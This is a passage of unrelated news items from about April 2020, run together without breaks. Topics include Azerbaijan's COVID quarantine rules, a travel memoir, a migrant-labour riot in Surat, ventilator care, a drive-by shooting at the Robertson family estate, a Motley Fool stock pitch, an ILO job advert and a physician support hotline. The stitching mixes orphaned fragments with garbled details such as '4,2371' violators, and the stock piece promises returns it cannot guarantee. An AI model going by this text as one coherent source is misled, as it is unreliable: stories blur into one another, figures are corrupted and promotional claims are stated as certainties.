and malls remain in force. The movement of persons engaged in activity areas for which restrictions have been lifted shall be allowed after their employer enters information about them into the icaze.e-gov.az portal using electronic signature. The activities of relevant agencies and service areas during the pandemic shall be carried out in accordance with the rules of social and sanitary-epidemiological conduct. The said rules will be prepared by the Task Force under the Cabinet of Ministers of Azerbaijan and disclosed to the public. In addition, the duration of permits to leave the place of residence on the basis of an SMS message sent to 8103 have been extended from two to three hours. Citizens must appeal to obtain the permit in the following cases: "1" - due to the need for receiving emergency medical care or treatment according to the schedule (permit in the city and the district is issued for 3 hours; in case of need for movement between the districts and cities, the distance between the place of residence and the place to go, and also the duration of the treatment procedure shall be taken into account); the duration of the return is determined by a certificate issued by a doctor, which, if necessary, must be shown to the police officers. "2" in order to leave home due to the need to use services in areas, activities of which are permitted (the permit is issued to leave home for 3 hours once a day). "3" - to leave the house due to the participation in a close relatives funeral. The Task force stated that the special quarantine regime may be tightened again if necessary depending on the dynamics of the COVID-19 infection. In the current situation related to COVID-19, we urge everyone to follow the rules of personal hygiene, take measures of medical prophylaxis, leave home only in case of a serious need, have minimal contact with other people in public places and comply with the existing preventive measures. Since the fight against COVID-19 is a long-term process, it is recommended that preventive measures against the disease become part of everyone's lifestyle, the task force noted, the Cabinet of Ministers appealed to the residents. In the meantime, the Main State Traffic Police Department of the Ministry of Interior (MSTP), reported on April 28 that 967 people traveling by road, were brought to administrative responsibility under Article 211 for violation of the quarantine regime during in the period between April 27 to April 28. In general, from 01.04.2020 until today, 4,2371 road users were brought to administrative responsibility for violation of the quarantine regime in the country, including Baku, MSTP added. So far, Azerbaijan has registered 1,678 coronavirus-positive patients, of whom 1,162 have recovered. The countrys coronavirus death toll is 22 and 494 people are being treated in special hospitals. The condition of 17 patients out of these 494 is assessed as severe, 26 people are in moderately severe condition, and the rest feel normal. Some 128,807 tests have been carried out in the country so far. Azerbaijan first introduced special quarantine regime on March 24, which banned gatherings of more than 10 people as well as all intercity and inter-district transportation. On April 5, the country further tightened the quarantine regime to stop the spread of the virus. The new restrictions effective till April 20, required residents to give advance notice before leaving their place of residence via free SMS. --- Follow us on Twitter @AzerNewsAz It was a bleak October in 2016. I was in the middle of a bad phase, and recovering from it needed something more than the usual home-office-home routine. I was trying to plan a foreign trip: my first, alone, and beyond the subcontinent. Of course, there was always Bollywood at the back of the head, which has taught us to take flights to Corsica or the Caribbean at the blink of an eye to get over bad phases. Main daudna chahta hoon, uddna chahta hoon, bas rukna nahi chahta and all that jazz. But the daudna needs physical fitness; and the uddna, money. We middle-class, middle-management folks have our salary slips to direct the course of our travels. But this middle class also has a unique problem. We are pushed to dream. We are taught to travel. And every time a trip ends, we are encouraged to keep only one thing on our mind: when will we travel again? That question has never cut this close to the bone as now, when the coronavirus decides the course of our existence. As we sit in our homes, staring up at the sky for the sound of an aeroplane, there's only uncertainty ahead. You don't want your last trip to become your last. There's so much of the world to see. That is both an assurance and an apprehension. When will we travel again? When travelling is part of your being; so much that you plan your life, your entire year around your trips, this uncertainty is not easy to deal with. Not when travelling is the only therapy that works for you. Not when you have grown up looking forward to only travelling. Paris: Locked in our homes, we dream of open skies and wind in our hair. (Photo: Ananya Bhattacharya) In my travel-hungry home, year after year, my father forked out a huge chunk of his barely-there salary and handed it over to my mother to earmark it as 'travel fund'. Even if it meant no new clothes for them during any Durga Puja or Poila Boishakh. We travelled. With a metal chain fastening the VIP to the lower berth of a Sleeper compartment and the 'camera bag' secure next to my mother's head, we travelled across India. My parents would begin the preparations a few weeks in advance. The first step, getting the 'guards' in place. Grandparents would be summoned from Siliguri to spend those weeks at our home. There are thieves in small towns. No one knew what gated societies were, and CCTVs are still a concept more alien than UFOs. The next step was getting the luggage in place. The suitcases and bags would be pulled down from almirah-tops and put out in the sun. This natural disinfection done, the packing would begin. In the evenings in between, my father would sit with the world Atlas, and turn to a zoomed-in map of India, the state we were travelling to. Ma would get her Bhraman Guide and note down the places of interest in her diary. This diary was our companion on all trips. On some journeys, the 'Guide' book accompanied us too. From about two days before the trip, Ma would lock herself up in the kitchen. Food, mostly luchi and a dry torkari, would be packed in steel tiffin boxes. Disposable plates and spoons were very rarely used. They cost money. We revised our lessons many times: Don't speak to strangers. Don't take anything from strangers. Don't eat anything that a stranger gives you. Don't get off the train. Don't demand toys. Don't demand food from hawkers on the train. And the list went on. My father had his own list to memorise: Don't go too far from the train to fill the water bottle. Hold on to the Milton bottle when you're filling water. Don't take any of the kids along when you get off the train. Don't discuss your camera with strangers on the train. These train journeys became a part of growing up. And soon, I grew up. Dolphins and a Balinese sunrise. (Photo: Ananya Bhattacharya) I left home on a July evening, on board the Brahmaputra Mail, parents in tow, with my 17-year life packed in in two bags. All of us knew at that moment that it was the last time I was leaving 'home'. That thereafter, home would become just something to talk about and draw strength from in by-the-way conversations in a strange big city. The day my parents left me in Delhi and took the North-East Express back to Cooch Behar, they asked me to grow up to be able to see the world. To them, seeing the world was always more important than buying a house or a car, the two pillars of middle-class life in India. Travelling was a part of us. In October 2016, I finally planned on seeing the world. My parents had done their bit of showing us Nepal, Bhutan and Bangladesh. In Nepal, they even got us our first flight rides. But this 2016 trip was to be the first, with-passport foreign trip: to Uzbekistan. Many people asked me where was this country. But when you've grown up listening to "But where is Cooch Behar?" from even residents of your own home state, Uzbekistan is a difficult country to place on the map. This trip happened. And it changed me once again, forever. The years in between, that I spent spending on pointless trips from Noida to Delhi in Ubers just because I could afford it, suddenly seemed such a waste. In the three years since then, I have always looked forward to a trip. I keep money aside every year: that 'travel fund', having found its way from my parents to me like several other traits. Travel, we were always told, is an investment. It is far richer an investment than the 3BHK home in suburban Delhi or the 7-seater SUV you can glide down the Expressway in. Travelling is for your entire existence. In Cairo, March 2020: The new normal. (Photo: Ananya Bhattacharya) I plan a trip meticulously. The old-fashioned way. Pulling out maps, noting down the places to visit, zeroing in on the hotels or BnBs after poring through pages after pages of reviews. This preparation, much like childhood, begins several weeks in advance. The Sleeper berths have been replaced by an Economy air ticket. There is no luchi-torkari to be had on flights. The steel tiffin boxes have made way for fancy disposable fare the airplane food is served in. The Bhraman Guide is now a Lonely Planet. The VIP suitcases are called 'trolleys', and have wheels that revolve 360 degrees and follow you along. The grandparents are gone. There are no railway stations to fill that Milton water bottle at. But from the moment the flight takes off, it's back to that one thought: when will I travel again? Also Read | Home, away: Fear and longing in Noida Migrant labourers living in Surat are left with no food and money amid the ongoing 21-day long nationwide shutdown that has been imposed as a precautionary measure to contain the spread of COVID-19. Image Source: IANS News Migrant labourers living in Surat are left with no food and money amid the ongoing 21-day long nationwide shutdown that has been imposed as a precautionary measure to contain the spread of COVID-19. Image Source: IANS News Gandhinagar, April 28 : Migrant labourers in Surat, who had exhibited unrest a couple of days back as they demanded to be returned to their home states, on Tuesday ransacked the Diamond Bourse office, vandalising vehicles and also tried to attack a police vehicle after some workers were hired from outside. Around 4,000 construction labourers, working at the site of Diamond Bourse in Surat's Khajod area on Tuesday, were infuriated against the site management, who had hired around 40 labourers from outside Surat. Confronting the management, the angry labourers asked them that when they were ready to work, why did the management hire workers from outside. They also apprehended that the new hired help would bringing in coronavirus, and reiterated their demand to be sent home. Going on a rampage, the labourers ransacked the main office, shattering the glass panes, and overturning a number of parked vehicles. They also tried to damage a police vehicle which had arrived at the spot. According to police sources, the management had hired some outside labourers for some construction work going on at the site. "We are in the process of filing an FIR regarding the incident. So far, we are not detained anybody," said a police official of Khatodra Police Station. BAKU, Azerbaijan, April 28 By Eldar Janshvili - Trend: A regular presidium meeting of the Azerbaijan Banks Association (ABA) in an expanded format was held in Azerbaijan on April 23, 2020, Trend reports citing ABA. The topic of the meeting was the mechanism for applying the decision on additional measures to support the population and business in the context of the coronavirus pandemic (COVID-19) adopted by the board of the Central Bank of Azerbaijan (CBA). This decision is synchronized with the envisaged measures by the relevant decree of the Cabinet of Ministers, and also provides for extended directions, including issues related to the restructurization of mortgage loans issued to individuals at the expense of the Azerbaijan Mortgage and Credit Guarantee Fund, business loans issued at the expense of banks and state funds, as well as support for participants in the insurance and capital markets, the association said. The ABA members emphasized that the government has begun large-scale work in connection with reducing the negative impact on the countrys economy, covering macroeconomic stability, employment issues in the country and the creation of relevant working groups with the participation of the Central Bank, the Ministry of Economy and other related structures, including the ABA. As of continuation of these complex and systematic activities, ABA members, guided by a plan of additional measures to support the population and business of the Central Bank, having analyzed the current situation, discussed some practical points envisaged in the document and answered questions. In accordance with the current situation, the importance of continuing such measures as ensuring the continuity of banking and financial services rendered to the population throughout the quarantine period, lending to the economy, and protecting the rights of consumers of banking financial services was emphasized once again at the end of the meeting. The Azerbaijan Bank Association (ABA) was established by commercial banks in 1990. The main objective of the ABA is protecting the interests of its member organizations, to assist in meeting their needs for various types of business services and to coordinate their activities. Currently, 29 banks and 4 non-banking organizations are members of the ABA. --- Follow the author on Twitter: @eldarjanashvili Copyright 2020 Albuquerque Journal For patients struggling to breathe amid the onslaught of COVID-19, a ventilator can be a lifeline. These $20,000 to $50,000 machines come in both invasive and noninvasive forms. The invasive type helps pump oxygen into the blood through a tube inserted into the mouth and through the trachea. The noninvasive method delivers the oxygen through a tight fitting mask. Unfortunately, with COVID-19, doctors are restricted to the invasive equipment because of the dangers of droplets infecting everyone else in the room, said Dr. Denise Gonzales, a pulmonologist at Presbyterian Hospital. The invasive ventilator prevents patients from exhaling. Doctors sedate them to prevent the natural gag reflex. Theyre unconscious when its inserted, Gonzales said. After that connection, doctors monitor the patient using a minimal amount of sedation. Younger people and men tend to need more sedation, she added. Some patients need very little (sedation), especially older women, Gonzales said. It takes very diligent nursing care. Ventilators may also be needed when someone contracts pneumonia or when heart failure produces excess fluid in the lungs, Gonzales said. In the days before the coronavirus, patients spent an average of two days on a ventilator. With COVID-19, patients are averaging seven days, Gonzales said. When COVID makes people sick enough to go on a ventilator, they have a huge inflammation response, she explained. Its the bodys attempt to clear the virus out. The inflammation causes a lot of swelling in the lungs, as well as the rest of the body. You have an even harder time moving the oxygen into the bloodstream. Presbyterian has managed to find enough ventilators (they now have about 500) through partnerships with such businesses as Sandia National Laboratories, she said. They also are re-purposing ventilators used for sleep apnea. But these invasive ventilators also come with a down side. Afterward, patients may feel a prolonged weakness, Gonzales said. They may need oxygen after the fact, temporarily. There is always the danger of bed sores. And they can develop PTSD from all the invasive procedures and loss of control. Some may need soft restraints to prevent them from instinctively reaching for the breathing tube. Studies have shown that patients who are awakened at least once a day are able to come off the ventilator more quickly, Gonzales said. Asking them to sleep face down also helps. Were finding these patients have little incidence of lung collapse, Gonzales said. None of us is meant to be lying on our back for seven days. None of us is meant to have a tube inserted in us. There also may be lung damage, and injuries to the liver, kidneys and other organs caused by the inflammation due to the ventilator, she said. The damage may also produce blood clots. We do standard things like turning patients frequently and giving them blood thinners to avoid blood clots, Gonzales said. The most important thing for us to do is to remember the basics and the fundamentals. New Mexico still hasnt seen the crest of the pandemic. Were still a couple of weeks off the peak, Gonzales said. We anticipate it to happen in May. I think were prepared for the surge. The Ebola outbreak helped us to practice our emergency preparedness, Gonzales continued. The Ebola mortality rate is at least 10 times that of COVID. The problem is weve only been testing people who have been admitted to the hospital. Weve only been testing the sickest of the sick. What were observing is more like the Spanish flu of 1918, she continued. We didnt have herd immunity. Gonzales has worked at Presbyterian for 13 years. Before that, she spent three years at the National Institutes of Health in Bethesda, Maryland. Dr. Denise Gonzales is a pulmonologist at Presbyterian Hospital. Source: Xinhua| 2020-04-28 22:09:56|Editor: huaxia Video Player Close CAIRO, April 28 (Xinhua) -- The Egyptian government has been working to ensure that the lives of migrants and refugees are not subject to any direct effects of the COVID-19 outbreak, Egypt's Foreign Minister Sameh Shoukry said on Tuesday. "Egypt continued to ensure that the refugees are included in the support provided by the health care system," Shoukry told a visual conference about the coronavirus repercussions on the refugees. Shoukry stressed that no measures were taken to repatriate the migrants to their countries. The foreign minister reiterated Egypt has always been a country of destination and transit for refugees and asylum seekers for many years, adding that the North African country hosts about 5 million refugees. Shoukry highlighted the ongoing cooperation with the UN organizations to provide essential and health care services for the refugees in Egypt. Enditem A man accused of shooting at a West Monroe, Louisiana estate owned by Duck Dynasty star Willie Robertson was ordered to keep at least 1,000 feet away away from the reality star's family for two years. Authorities said that Daniel Dean King, Jr., 38, admit to shooting at the home at Friday at 2:30 p.m. while he was under the influence of vodka, firing eight to 10 bullets at the residence, TMZ reported Monday. The restraining order, which spans until April 27, 2022, covers Robertson's son John Luke Robertson; John Luke's wife Mary Kate Robertson and their infant child, according to the outlet. The latest: Daniel Dean King, Jr., 38, who is accused of shooting at a West Monroe, Louisiana estate owned by Duck Dynasty star Willie Robertson, 48, was ordered to keep at least 1,000 feet away away from the reality star's family for two years Authorities also banned King - who's charged with felony assault by drive-by shooting in the Friday incident - from owning any firearms, and he must turn in his entire collection to the Ouachita Parish Sheriffs Office, according to TMZ. King, whose bond was set at $150,000, also was charged with misdemeanor criminal neglect of family in the incident, in which a bullet landed in a room. Another residence was struck in the hail of bullets, witnesses told police. According to a police affidavit, a juvenile witness who was in the truck with King confirmed his actions in the incident. King told police he 'was attempting to see if the gun was on safety or not' when he fired the shots, police said. Update: Following the incident, Sadie Robertson reassured their fans no one was harmed in the incident Following the incident, family members Korie and Sadie Robertson reassured their fans no one was harmed in the incident. Korie, 46, who is married to Willie, thanks fans for their prayers and said the family was 'safe and sound and feeling profoundly grateful for God's protection over us! She added: 'Yes, the news reports are true, we had a drive-by shooting at our home on Friday, it was scary and dangerously close, but thanks to God no one was hurt AND today we got to participate in a drive-by birthday celebration! 'Crazy how life works! We honked our horns and made signs. We are alive and well, and not taking this day for granted! Higher power: Willie on Sunday told KTVE-TV that 'God was watching over' the family Decision: Authorities also banned King - who's charged with felony assault by drive-by shooting in the Friday incident - from owning any firearms, and he must turn in his entire collection to the Ouachita Parish Sheriffs Office Sadie Robertson said the family was shaken up about what had happened, but ultimately feeling grateful no one was hurt. 'Especially after one of the bullets flew through the window of my brothers home,' said Sadie. 'The timing of where we were at the time was crazy protection because we had all just gone inside. 'We have been resting on Psalm 91 and each other's gratitude for all being okay thank you for your prayers.' Willie on Sunday told KTVE-TV that 'God was watching over' the family. 'Like I said, just a few minutes before, we were all outside; kids outside, grand kids outside, right where the bullets came through,' he said. 'God is good and we will keep serving him.' The Regional Coalition of Los Alamos National Laboratory Communities is asking state Rep. Andrea Romero, D-Santa Fe, to pay back $8,000 in reimbursements paid to her while she served as the organizations executive director and before her election in 2018. Romero previously reimbursed RCLC $2,200, but that was before the state Auditors Office released a report in August 2018 that identified 18 negative findings. Those included impermissible reimbursements for travel, meals and alcoholic beverages and lobbying activities that jeopardized funding RCLC receives from the Department of Energy. The RCLC is a coalition of nine northern New Mexico communities Los Alamos, Rio Arriba, Santa Fe and Taos counties, the cities of Espanola and Santa Fe, the town of Taos, and the pueblos of Jemez and Ohkay Owingeh and advocates for environmental cleanup funding for LANL and local economic development efforts by the lab. It operates on taxpayer dollars provided by the DOE and the communities it represents. The 2018 audit said that more than $50,000 in improper payments were made to Romero, members of the coalitions board and third parties. More than half of those payments $26,862 went to Andrea Romero Consulting. The Los Alamos Reporter, an online newspaper that regularly covers the RCLCs meetings, was first to report the decision by the board on Friday to send the letter to Romero requesting reimbursement. The newspaper reported that RCLC attorney Nancy Long said that about $10,600 in reimbursements paid to Romero were deemed impermissible. The $8,000 the RCLC is looking to collect represents the approximate balance, minus the amount she has already paid. Santa Fe County Commissioner Henry Roybal, chairman of the RCLC, said board members felt it was our fiduciary responsibility to try to close this chapter. Romero said she would not comment until she had seen the letter. Romero said in 2018 that she did not knowingly or deliberately violate any standard for reimbursement. Metro Manila (CNN Philippines, April 28) PAG-IBIG Fund appealed on Tuesday to its members for understanding amid the slow loan applications processes during the COVID-19 crisis in the country. PAG-IBIG Fund Vice President for Public Relations and Information Services Group Karin-Lei Franco Garcia said the agency is targeting 20 working days to complete loan applications during the Luzon-wide enhanced community quarantine. Garcia explained the influx of multipurpose and calamity loans applications during the quarantine period and reduced workforce of PAG-IBIG due to work restrictions amid the COVID-19 pandemic caused the slow processing of such loan applications. Prior to the COVID-19 crisis, the agency could release loans within around two days, she added. Sa dalawang combination po yun, medyo matagal po ang aming processing ngayon. Target po namin marelease ang loan proceeds within 20 working days, said Garcia. [Translation: With those two combinations, our processing is slow now. We target to release loan proceeds within 20 working days.] Garcia assured the integrity of the agencys website, which can handle huge bulk of loan applications during the COVID-19 quarantine. As of Monday, nasa 860 million na po ang narelease naming loans to around 50,000 members, added Garcia. [Translation: As of Monday, we have released 860 million worth of loans to around 50,000 members.] Garcia also bared they are talking with several electronic disbursement facilities to distribute loan proceeds to members who dont have cash cards or automated teller machine cards. Nagpapadala po kami ng text message to tell you kung kailan napasok ang inyong loan proceeds sa ATM, she told. [Translation: We are sending text messages to tell you when the loan proceeds are entered into your ATM.] During the ECQ, PAG-IBIG Fund members can apply for a calamity or multipurpose loan in their website. The requirements for each loan and application steps are also enumerated in their webpage. To qualify for these loans, members should have paid their contributions for 24 months and paid one in the last six months. (Photo : National Cancer Institute on Unsplash) Study Revealed People With Positive Antibody Tests Can Still Be Infected With Coronavirus (Photo : National Cancer Institute on Unsplash) Study Revealed People With Positive Antibody Tests Can Still Be Infected With Coronavirus According to NBC News' latest report, antibody tests that identify if a person is immune or not to the coronavirus may take months. However, the report stated that it doesn't mean the tests can't provide valuable public health information in the meantime. Currently, antibody tests cannot identify if an individual is immune to COVID-19, but the tests can show who is vulnerable to the virus. NBC News explained that antibody tests can detect whether a person's immune system has developed antibodies needed to fight a particular infection. Individuals with positive antibody tests show that they developed antibodies by having contracted and conquered a virus at some point. Meanwhile, a negative test result can mean that the individual has not yet contracted a virus, so the immune system didn't need to create antibodies to fight it. The report stated that the results of antibody tests provide a picture of who remains vulnerable to the coronavirus. "There still are people that this virus can infect. It's important we remain vigilant," said Dr. Maria Van Kerkhove, head of emerging diseases and zoonoses unit at the World Health Organization (WHO) during a media briefing on Monday, April 27. Also Read: U.K. Rejects Apple-Google COVID-19 App; Proposes 'Centralized' Contact Tracing Study revealed people with positive antibody tests can still be infected with coronavirus According to NBC News, the WHO caused a bit of a stir among the public who were looking to antibody tests to prove their immunity so they can return to work or regular social activity. The post of WHO on Twitter said that there is not enough evidence to show that those individuals who have recovered from the coronavirus are not vulnerable from reinfection. WHO deleted the tweet and clarified on Monday, April 27, what the post meant. "Just because there's no evidence in this area doesn't mean that there's no immunity. It just means that the studies haven't been done yet," explained Dr. Kerkhove on the report. Other experts agreed with the explanation provided by WHO. "It's very important to not assume that a positive antibody test means that you're definitely immune and that you couldn't become infected or that you couldn't spread the infection to somebody else," said Dr. Marybeth Sexton, an assistant professor of infectious diseases at Emory University School of Medicine. Dr. Daniel Kuritzkes, head of the division of infectious diseases at Brigham and Women's Hospital in Boston, reiterated that people who have positive antibody results may have been infected last month in March. He also said that it is possible that by October, those antibodies could decline thus making the person vulnerable to COVID-19. While results of positive COVID-19 antibody test remain uncertain, a negative test may provide public health officials a better understanding of which populations remain at risk to the novel coronavirus. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. The COVID-19 pandemic has shattered the North American economy and upended many businesses of all sizes. Even the transportation and logistics companies that facilitate the exchange of critical and nonessential goods feel the pain of the economic contraction. Many Canadian investors are wondering where to put their cash during this health crisis. While the transportation industry may not be completely safe from the negative Covid-19 economic consequences, your portfolio will still perform better versus the index if you pick the right stocks. Canada National Railway (TSX:CNR) is no exception in this volatile market. Nevertheless, the share value of this crucial transportation stock has only dipped 3.03% year-to-date, while the S&P/TSX Composite Index has nosedived by over 14%. Although Canadian National Railway is still feeling the economic damage of the government-mandated quarantine, the stock is still outperforming the index for the year. Likely, the effect on transportation has been more muted due to decreasing costs. Some investors may still be bullish on the transportation industry now that gasoline prices have dropped to historic levels. Should you buy transportation stocks? The COVID-19 induced recession cant continue indefinitely. At some point, business activity will resume as normal. Thus, the effects on the transportation industry are only temporary. Moreover, low gas prices signal higher profit margins for companies like Canadian National Railway. Higher profit margins will lead to an increase in free cash flow, signalling higher stock prices. Canadian investors should certainly take advantage of the lower stock prices and buy into railway stocks on the dip. Canadian National Railway is a great pick because it holds a duopoly with its only competitor, Canadian Pacific Railway. These stocks are certain to set your retirement portfolio up for success in the year 2020, despite the market downturn. Buy stocks with lasting market power Story continues A good way to determine the quality of stocks for your retirement portfolio is to consider the companys competition. Firms with fewer competitors are more likely to have higher profit margins and lower risk of failure. A good question to ask is how much market share does the company report in sales? A recent Globe and Mail article quoted a stock analyst with Citigroup Global Markets, Christian Wetherbee, who said, Currently, 50 percent of the inbound containers CN moves from Canadian ports are destined for the U.S., which is up from [about] 30 percent a few years ago. Canadian National Railway is quickly gaining ground as the leading shipper of exports to the United States. Hence, this transportation stock foretells strong returns over the long term. Dont fear temporary stock market dips You may feel uneasy about trusting your retirement savings to the stock market during this volatile and uncertain time. Its true that Canadian National Railway just withdrew its yearly profit forecast due to the COVID-19 health crisis. Despite this, today remains the best time to get into the stock market while prices are low. To retire in style in 10 to 30 years, depending on your age, as an astute Canadian investor, you should start becoming more comfortable with risk. The biggest mistake investors make is to trade on fear rather than evidence. Find evidence to back all your decisions and phone a friend if you still arent sure. The post Covid-19 Recession: Top Stock to Buy Now appeared first on The Motley Fool Canada. More reading Fool contributor Debra Ray has no position in any of the stocks mentioned. The Motley Fool recommends Canadian National Railway. The Motley Fools purpose is to help the world invest, better. Click here now for your free subscription to Take Stock, The Motley Fool Canadas free investing newsletter. Packed with stock ideas and investing advice, it is essential reading for anyone looking to build and grow their wealth in the years ahead. Motley Fool Canada 2020 In furtherance of its effort in the development of a safe and efficient payments system in Nigeria, the bank in collaboration with relevant stakeholders has reviewed the need for cheque clearing to accommodate users of the cheque as one of the payment instruments in Nigeria, despite the lockdown of some states and FCT, the statement published on the CBN website on Monday read. Job Title: Finance and Administrative Assistant (United Nations UN Jobs) Organisation: International Labour Organization (ILO) Duty Station: Kampala, Uganda Grade: G5 Reports to: National Project Coordinator Vacancy no.: DC/DAR/GS/2020/04 About US: The International Labour Organization (ILO) is a United Nations agency dealing with labour problems, particularly international labour standards, social protection, and work opportunities for all. The ILO has 187 member states: 186 of the 193 UN member states plus the Cook Islands are members of the ILO. In 1969, the organisation received the Nobel Peace Prize for improving peace among classes, pursuing decent work and justice for workers, and providing technical assistance to other developing nations. Job Summary: The Finance and Administrative Assistant provides finance and administrative services to the EU Action Project, ensuring the highest standards of discretion and integrity and sense of responsibility. He or she will provides a range of specialized finance and administrative support services in an efficient, effective and client-oriented manner. Work involves using the enterprise resource planning (ERP) system to process transactions for financial clearance and payment processing. The incumbent performs at a fully operational level and resolves a variety of recurring and non-recurring operational issues, requiring the correct application of financial rules and regulations, policies, procedures and guidelines. The Finance and Administrative Assistant works under the overall responsibility of the Director of ILO Country Office for the United Republic of Tanzania, Kenya, Uganda, Rwanda and Burundi (CO-Dar es Salaam) the Finance Administrative Assistant (FAA) will directly report to the National Project Coordinator. Supervision received is focused on the timeliness of process execution and the quality of outputs. The incumbent works with a moderate degree of independence. Work is reviewed for correctness in application of financial rules and regulations, policies, procedures and guidelines. Key Duties and Responsibilities: Financial Perform a range of specialized finance support functions and services for operational and payment-related work of the Office, including initiating and processing financial transactions in the enterprise resource planning (ERP) system and verifying that information and supporting documentation is in compliance with financial rules and regulations, policies, procedures and applicable standards. Process accounts receivable including billing, adjustments and changes. Manage cash receipts and petty cash. Undertake monthly bank reconciliation and follow up on outstanding issues including contacting banks to clarify issues on account statements. Monitor expenditure and budget allocations, updating information on local currency bank accounts and informing supervisor when funds need to be replenished. Maintain and update spreadsheets and databases for internal expenditure control purposes. Prepare inputs, run reports and extract and compile financial data and present information on the status of financial resources of the Office to support analysis and reporting needs. Respond to requests for general information and routine queries on status of payments and other budgetary issues. Keep abreast of financial rules and regulations, policies, procedures, guidelines and processes and share information with concerned parties Review and verify financial reports implemented by Project partners, closely monitoring reported expenditures as a basis for budgetary control in respect of approved budgets. Maintain petty cash book and/or records for recording of financial data pertaining the petty cash account Prepare payment requests for staff travels allowances and for payments to suppliers Prepare payment requests for seminar advances and ensure their prompt accountability, maintaining proper and accurate records for facilitating, reconciliation of the GL Account in order to ensure prompt clearance of outstanding items Submit timely replenishment requests to finance unit CO Dar es salaam to ensure consistent availability of sufficient funds for timely implementation of a wide range of activities under the project Advise the National Programme Coordinator on all aspects of Accounts and financial control procedures in order to ensure compliance with ILO financial rules and regulations Provide Financial advisory support to Partner Agencies on ILO financial reporting procedures to ensure compliance with rules and regulations Prepare responses in respect of Accounting and Audit queries that may be raised by the verification unit of the Regional Office Administrative Process Duty and VAT exemptions for purchase of goods and services by ILO technical cooperation projects Provide administrative support services such as Hotel booking and ticket reservations and/or confirmations related to ILO travel arrangements Assist in office Transport coordination, arrange fuel replenishments, maintain records on car services and ensure good maintenance of office equipment Assist in any other administrative and personnel chores related to human resources and office administration e.g maintaining staff leave records, purchase of stationery etc. Perform other relevant duties as assigned Qualifications, Skills and Experience: The ideal candidate for the International Labour Organization ILO Finance and Administrative Assistant job should have completed secondary school education supplemented by a formal training in accounting and/or finance and administrative field. A minimum of five years of experience required in working in finance and administration, preferably with an international organization. Knowledge of financial administration and/or accounting techniques. Knowledge of international accounting standards such as International Public Sector Accounting Standards (IPSAS) or other international or national accounting standards. Good knowledge of PC software (including word processor, spreadsheet and presentation software) such as Microsoft Office. In addition to the ILO core competencies [Integrity and transparency, Sensitivity to diversity, Orientation to learning and knowledge sharing, Client orientation, Communication, Orientation to change, Takes responsibility for performance, Quality orientation, Collaboration], this position requires: Ability to interpret and work within the applicable financial rules and regulations, policies and procedures. Ability to adapt quickly to new software and systems. Accuracy and attention to detail. Sense of responsibility to maintain data integrity. Ability to work with confidential material Ability to work in a multicultural environment and to demonstrate gender-sensitive and non-discriminatory behaviour and attitudes. Ability to work in a team and to work under pressure. Languages: Excellent knowledge of English is required. A working knowledge of relevant local language is an advantage. ILO core competencies: Integrity and transparency, Sensitivity to diversity, Orientation to learning and knowledge sharing, Client orientation, Communication, Orientation to change, Takes responsibility for performance, Quality orientation, Collaboration How to Apply: All suitably qualified and interested candidates who wish to join the International Labour Organization in the aforementioned capacity are encouraged to apply online at the link below. Click Here Deadline: 21st May 2020 For more of the latest jobs, please visit https://www.theugandanjobline.com or find us on our Facebook page https://www.facebook.com/UgandanJobline She said there have been attempts by some political forces to scuttle investigations into corruption cases, but stressed that ZACC will remain committed to fighting the scourge with fear or favour. Herald The calls to the Physician Support Line often begin with an apology from a desperate doctor. "They will say something like 'I'm sorry for bothering you with this,'" said Dr. Mona Masood, who with the help of four other psychiatrists launched the hotline last month to help doctors deal with the stress of combating the coronavirus crisis. "Then they will talk about the patients they've treated, the anxiety of going to work and not having the proper PPE [personal protective equipment], about feeling overwhelmed and not feeling like they have the support of the health care system," Masood said. Some of the doctors were already, as Masood put it, "hanging by a thread, and then the coronavirus happened." Video: ER Doctor Who Treated Coronavirus Patients Committed Suicide "All those things that were weighing them down before had to be put on the back burner when COVID-19 happened, and then it all burned," said Masood, a Philadelphia-based psychiatrist. The psychological toll many doctors face on the front lines of the coronavirus fight came into sharp and tragic focus Sunday when New York City emergency room doctor Lorna Breen died by suicide. Her father, Dr. Philip Breen, called her another "casualty" of the pandemic and said she had no history of mental health problems. Dr. Smita Gautam, a Chicago-based psychiatrist and a co-founder of the hotline, said she fears Breen could become one of many before the plague is gone. "Physicians tend to be perfectionists who find it hard to ask for help," Gautam said. Dr. Smita Gautam (Physician Support Line) Masood said that while many doctors are thankful for public displays of appreciation, like the 7 p.m. clapping that has erupted nightly in cities across the country, others feel too guilty to appreciate the adulation. "All of a sudden, we are being called heroes and being put on a pedestal, and we are having this deep fear that we are not heroes," Masood said. "Some doctors are feeling that vulnerability and have no place to express that." Story continues Dr. Margaret Seide, a New York City psychiatrist not affiliated with the hotline, said the sentiment is not uncommon among front-line doctors. "Many physicians may be feeling unworthy of praise," she said. "Even if they've saved 10 people that day, they're thinking about the one person who didn't make it. They may not be feeling very heroic." Breen worked at NewYork-Presbyterian Allen Hospital, on the northern tip of Manhattan. After word of her death got out, grieving workers were urged to speak with an in-house counselor standard procedure at many hospitals, as well as businesses like NBCUniversal. Masood said she realized that a hotline specifically for doctors that is staffed by doctors was needed after she began seeing increasingly anxious postings on a Facebook page she moderates for physicians working with coronavirus patients. "I was finding very high occurrence of posts that were about personal mental health," she said. "There was day-to-day stress but also anticipatory anxiety about patients and doctors getting sick and bringing it home to their families." Dr. Mona Masood (Physician Support Line) Full coverage of the coronavirus outbreak Gautam said it became apparent to her that COVID-19 was "isolating physicians more and more." "Not only do they have to protect people from the virus; they have to protect people from fear," she said. "So they can't even vent to family members." Doctors are often reluctant to talk about their own mental health problems, because of both stigma and shame, the psychiatrists said. "The first thing we tend to hear all the time is guilt for even using a resource designed to help mental health," Masood said. "We have created a medical system here in the United States where asking for help is considered a weakness." So the hotline, which is staffed by 600 volunteer psychiatrists who field calls seven days a week from 8 a.m. until midnight, is completely confidential. It is not affiliated with any medical or other organization or owned by any health care system. The hotline, which went live on March 30 "which also happens to be National Doctors' Day" gets, on average, about 20 calls a day, Gautam said. Download the NBC News app for full coverage and alerts about the coronavirus outbreak Most of the callers are from big cities like New York and Chicago. But the hotline also gets calls from doctors in rural, remote areas and doctors who are not working directly with coronavirus patients, like cardiologists, anesthesiologists and other specialists. "COVID has created this enormous change in behavior for the community," Masood said. "People who were probably not thinking about their health acutely are now thinking about their health, and they are overwhelming their doctors." Masood and Gautam said they have also heard from doctors anguished about having to deny patients unproven remedies that President Donald Trump has touted during his televised White House briefings, such as the malaria drug hydroxychloroquine. "We are an apolitical organization, but when we have this kind of format where this kind of information is being so readily presented from a federal level, it does become an extra responsibility on our shoulders," Masood said. "So the answer is yes, that is a common thing." Seide agreed. "For health care providers, it's stressful to have to tell a patient 'no' when 